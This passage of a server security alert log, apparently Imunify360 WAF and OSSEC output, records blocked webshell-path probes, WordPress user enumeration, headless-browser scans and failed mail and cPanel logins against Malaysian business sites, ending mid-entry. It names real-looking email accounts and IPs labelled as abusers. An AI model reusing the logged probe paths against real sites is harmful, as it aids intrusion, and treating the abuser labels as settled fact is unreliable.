rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 114.130.156.199
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=38451515570804 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 185.117.225.202
country_id: 2264397
domain: www.box.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/123.0.6312.86 Safari/537.36||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.27.83.16
country_id: 6252001
domain: krisfood.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:7.64||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/fphortier/images/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.27.83.16
country_id: 6252001
domain: krisfood.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:7.64||T:APACHE||REQUEST_URI:/test/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/images/sliders/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 19:30:24 H=([45.144.212.242]) [45.144.212.242]:59668 F=<no_reply@admin.com> rejected RCPT <info@aircarbonic.my>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 198.145.50.44
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:19-31.198.145.50.44||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 19:34:26 H=([45.144.212.242]) [45.144.212.242]:53719 F=<no_reply@admin.com> rejected RCPT <info@astlog.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 163.227.144.177
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/facilities.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.41.128.54
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=86491516693580 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 162.142.125.42
country_id: 6252001
description:
Jan 16 19:42:17 sv3 pure-ftpd[1440924]: (?@162.142.125.42) [INFO] New connection from 162.142.125.42


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.205.182.14
country_id: 1269750
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/product-category.php?id=8&sub=7&page_id=1 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.156.230.233
country_id: 3686110
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/css/style.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 45.136.24.225
country_id: 6252001
domain: maalloys.com.my
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.64||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.173
country_id: 3175395
description:
Jan 16 19:51:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 19:52:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55496: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/int-projectnew.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/commercial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.110.115.146
country_id: 3865483
description:
Jan 16 19:56:51 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.110.115.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.110.115.146
country_id: 3865483
description:
Jan 16 19:56:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.110.115.146 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.124.53
country_id: 1733045
description:
[2026-01-16 19:57:38 +0800] info [webmaild] 113.211.124.53 - s-osada@mckd.com.my "GET /cpsess6057995536/3rdparty/roundcube/skins/elastic/watermark.html?=undefined&login=1&post_login=6377700962761 HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 156.239.157.138
country_id: 6251999
domain: agpc.org.my
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.64||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.94.211.53
country_id: 6252001
domain: tujusetia.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/143.0.0.0 Safari/537.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 20:09:26 H=([45.144.212.242]) [45.144.212.242]:58558 F=<no_reply@admin.com> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.230.243.254
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:20-10.23.230.243.254||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.62.243.174
country_id: 732800
description:
Jan 16 20:11:42 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.62.243.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.243.174
country_id: 732800
description:
2026-01-16 20:11:44 dovecot_plain authenticator failed for H=(inglysing) [92.62.243.174]:37745: 535 Incorrect authentication data (set_id=webmaster@kimmark.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.62.243.174
country_id: 732800
description:
Jan 16 20:12:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.62.243.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.243.174
country_id: 732800
description:
2026-01-16 20:12:02 dovecot_plain authenticator failed for H=(cable) [92.62.243.174]:36711: 535 Incorrect authentication data (set_id=admin@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.245.218.56
country_id: 2921044
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/eminent.st/merge/article/why_green_is_the_new_black_in_the_investors/index.html HTTP/1.0||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 111.225.148.168
country_id: 1814991
domain: www.oxbold.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.58.123.240
country_id: 1269750
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/bath/460/565316 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 20:14:28 H=([45.144.212.242]) [45.144.212.242]:61092 F=<no_reply@admin.com> rejected RCPT <jacklim@ktlog.com.my>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/eco.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 20:17:18 H=([45.144.212.242]) [45.144.212.242]:49673 F=<no_reply@admin.com> rejected RCPT <marina@astlog.com.my>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 20:20:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55589: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/images/csr.php||SC:/home/indfinitydesign/public_html/img/photos/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.124.17.126
country_id: 6252001
description:
2026-01-16 20:22:12 dovecot_plain authenticator failed for H=([10.28.18.160]) [91.124.17.126]:6438: 535 Incorrect authentication data (set_id=muhdfauzan@ajplantations.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 20:22:58 H=([45.144.212.242]) [45.144.212.242]:53460 F=<no_reply@admin.com> rejected RCPT <marylinkoh@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.157
country_id: 933860
description:
Jan 16 20:23:56 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.18.245
country_id: 2300660
description:
Jan 16 20:24:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.18.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.157
country_id: 933860
description:
Jan 16 20:24:05 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.157 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.176.34.250
country_id: 3865483
domain: tschuan.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tschuan.com/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.124.17.126
country_id: 6252001
description:
2026-01-16 20:25:01 dovecot_login authenticator failed for H=([10.28.18.160]) [91.124.17.126]:6438: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.199.161.144
country_id: 6252001
description:
2026-01-16 20:30:39 dovecot_plain authenticator failed for H=c-73-199-161-144.hsd1.nj.comcast.net (werisbuous) [73.199.161.144]:45836: 535 Incorrect authentication data (set_id=webmaster@dps-comsec.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 20:30:22 H=([45.144.212.242]) [45.144.212.242]:62125 F=<no_reply@admin.com> rejected RCPT <meifoong@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.7.13.60
country_id: 2750405
description:
2026-01-16 20:30:35 dovecot_plain authenticator failed for H=60.13.7.34.bc.googleusercontent.com (hytric) [34.7.13.60]:49656: 535 Incorrect authentication data (set_id=lopee@inter-link.edu.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 34.7.13.60
country_id: 2750405
description:
Jan 16 20:30:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 34.7.13.60 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.199.161.144
country_id: 6252001
description:
Jan 16 20:30:37 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.199.161.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.73.179
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:20-30.142.111.73.179||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 135.129.124.13
country_id: 2328926
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/polyfill-php70/bootstrap.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.241.243.124
country_id: 1269750
description:
Jan 16 20:31:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.241.243.124 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.165.210
country_id: 3469034
description:
Jan 16 20:32:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.165.210 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 172.96.81.18
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:20-33.172.96.81.18||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.28.139.92
country_id: 1694008
description:
2026-01-16 20:33:49 dovecot_login authenticator failed for H=(urban.my) [120.28.139.92]:56844: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/new-development.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.45.148.239
country_id: 3895114
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/other3.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.47.17.205
country_id: 3895114
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=44841515043556 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.239.90.27
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/egulias/email-validator/CONTRIBUTING.md HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/img/about.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.18
country_id: 3175395
description:
Jan 16 20:36:48 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.18
country_id: 3175395
description:
Jan 16 20:37:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.162.20.239
country_id: 3865483
description:
Jan 16 20:37:20 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.162.20.239 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 20:38:15 H=([45.144.212.242]) [45.144.212.242]:61340 F=<no_reply@admin.com> rejected RCPT <miko@ms-chemicals.net>: Sender verify failed


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 149.22.87.8
country_id: 1861060
domain: saps.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 16.79.120.103
country_id: 1643084
description:
[2026-01-16 20:40:18 +0800] info [whostmgrd] 16.79.120.103 - oxboldc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.168.243.138
country_id: 1861060
description:
[2026-01-16 20:40:23 +0800] info [whostmgrd] 54.168.243.138 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.3.62.7
country_id: 6252001
description:
45.3.62.7 - - [16/Jan/2026:20:40:50 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328519&pdata=https%3A%2F%2Fmail.chs.com.my%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768567249 HTTP/1.1" 302 0 mail.chs.com.my "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.3.62.7


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.3.62.7
country_id: 6252001
description:
[2026-01-16 20:40:53 +0800] info [cpaneld] 45.3.62.7 - afcmalaysia "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afcmalaysia (has_cpuser_file failed)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.130
country_id: 3469034
description:
Jan 16 20:44:49 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.5.121
country_id: 690791
description:
Jan 16 20:44:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.5.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.215.189
country_id: 298795
description:
Jan 16 20:44:37 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.215.189 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.130
country_id: 3469034
description:
Jan 16 20:44:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.130 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 45.156.128.167
country_id: 2264397
description:
Jan 16 20:45:05 sv3 pure-ftpd[1483559]: (?@45.156.128.167) [INFO] New connection from 45.156.128.167


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 20:48:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:58095: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 92.112.83.79
country_id: 390903
domain: www.astlog.com.my
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 12; M2004J19C Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2022604030 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/26.4.3 ByteLocale/ru-RU ByteFullLocale/ru-RU Region/US Spark/1.1.9.4-bugfix AppVersion/26.4.3 PIA/1.4.3 BytedanceWebview/d8a21c6||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 20:52:13 H=([45.144.212.242]) [45.144.212.242]:50900 F=<no_reply@admin.com> rejected RCPT <munch@nexuscollection.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.191.166.108
country_id: 1282988
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/mockery/mockery/tests/Mockery/Loader HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 111.88.11.243
country_id: 1168579
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/mockery/mockery/tests/Mockery/Loader/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.71.72
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-00.142.111.71.72||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 21:01:55 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 86.108.22.143
country_id: 248816
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/try/9/543/977928 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.242.204.55
country_id: 3190538
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-01.209.242.204.55||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 166.0.105.138
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-02.166.0.105.138||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.54.165
country_id: 953987
description:
Jan 16 21:02:35 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.54.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.188
country_id: 2510769
description:
Jan 16 21:02:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 21:05:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.236.8.211
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=671968 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.59.27.118
country_id: 1269750
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/egulias/email-validator/CHANGELOG.md HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.46.66.133
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/psy/psysh/bin/build-vendor HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
